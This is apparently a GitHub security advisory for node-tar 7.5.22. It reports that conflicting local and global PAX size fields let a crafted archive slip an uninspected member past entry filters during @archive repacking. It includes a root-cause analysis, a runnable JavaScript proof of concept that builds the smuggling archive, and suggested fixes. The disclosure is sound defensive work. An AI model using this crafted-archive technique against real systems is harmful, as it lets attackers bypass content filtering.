Skip to main content
Menu
Advisories

PAX size precedence mismatch smuggles filtered entries during @archive repacking

GHSA-XGQW-R6HJ-48HFPublished Updated GitHub

Description

In tar 7.5.22, conflicting local and global PAX size fields make ReadEntry.size disagree with the number of body bytes the parser actually consumes. When an application uses create(..., ['@untrusted.tar']) to repack an archive with an entry filter, a crafted archive can place a valid tar header in those body bytes. The filter sees only the apparent carrier entry, but the repacked output contains an additional member that the filter never inspected.

I reproduced this locally on commit 2a22bfc5d3a432a606d9da0e2d87ba634aa3b1cb (package version 7.5.22). I have not tested earlier versions. This is an archive interpretation/filter bypass (CWE-436), not a claim of direct extraction outside the destination.

Root cause

  1. A local PAX x record sets size=512, followed by a global PAX g record setting size=0.
  2. Header.decode() uses the local size first, so the file's actual body length is 512 (src/header.ts:87-113). ReadEntry.remain and startBlockSize are initialized from that value (src/read-entry.ts:46-49).
  3. ReadEntry then applies local PAX fields followed by global fields (src/read-entry.ts:94-110,135-149), leaving its public size at 0 while its body stream still carries 512 bytes.
  4. The @archive path calls list() and passes that entry to Pack (src/create.ts:41-69, src/pack.ts:238-249). WriteEntryTar writes a new header with size=0 but pipes the 512-byte body after it (src/write-entry.ts:645-668,670-728). A parser of the repacked output treats the body block as a second tar header.

Safe local PoC

Run from a built checkout of 7.5.22. It writes only two tar files in a temporary directory. The entry names and contents are harmless.

import { mkdtempSync, writeFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { Header, Pax, create, list } from 'tar'

const dir = mkdtempSync(join(tmpdir(), 'node-tar-poc-'))
const input = join(dir, 'input.tar')
const output = join(dir, 'output.tar')
const header = h => {
  const block = Buffer.alloc(512)
  new Header(h).encode(block)
  return block
}

writeFileSync(input, Buffer.concat([
  new Pax({ size: 512 }).encode(),
  new Pax({ size: 0 }, true).encode(),
  header({ path: 'carrier.txt', type: 'File', size: 512 }),
  header({ path: 'hidden.txt', type: 'File', size: 0 }),
  Buffer.alloc(1024),
]))

const examined = []
await create({
  file: output,
  filter: path => {
    examined.push(path)
    return path !== 'hidden.txt'
  },
}, ['@' + input])

const emitted = []
await list({ file: output, onReadEntry: e => emitted.push(e.path) })
console.log({ examined, emitted })
// examined: ['carrier.txt']
// emitted:  ['carrier.txt', 'hidden.txt']

The local run also observed the source entry as { path: 'carrier.txt', size: 0, remain: 512 }. No warning was emitted in that run.

Impact and suggested fix

The precondition is an application that repacks attacker-controlled tar input through the documented @archive feature and relies on entry filtering or inspection before using the output. The extra member can bypass that filter. Downstream impact depends on what the application does with the output archive. I suggest medium severity.

ReadEntry should preserve the fields already resolved by Header.decode() or apply PAX overrides in the same global-then-local order while keeping size, remain, and emitted byte count consistent. WriteEntryTar should reject or safely handle a mismatch between declared size and copied bytes. A regression test can assert that the output's members are exactly those passed by the filter for conflicting PAX records.

This is distinct from GHSA-vmf3-w455-68vh, which addressed PAX overrides on intermediary extension headers. This PoC uses conflicting local/global records on a normal file and reaches @archive repacking.

Please keep the discussion and any fix private until release. I can validate a private patch and help with a regression test. Please credit GitHub user @mikkel32 as the finder/reporter when the advisory is published; I will accept the pending credit invitation.

Affected versions

References

GitHub · isaacs/node-tar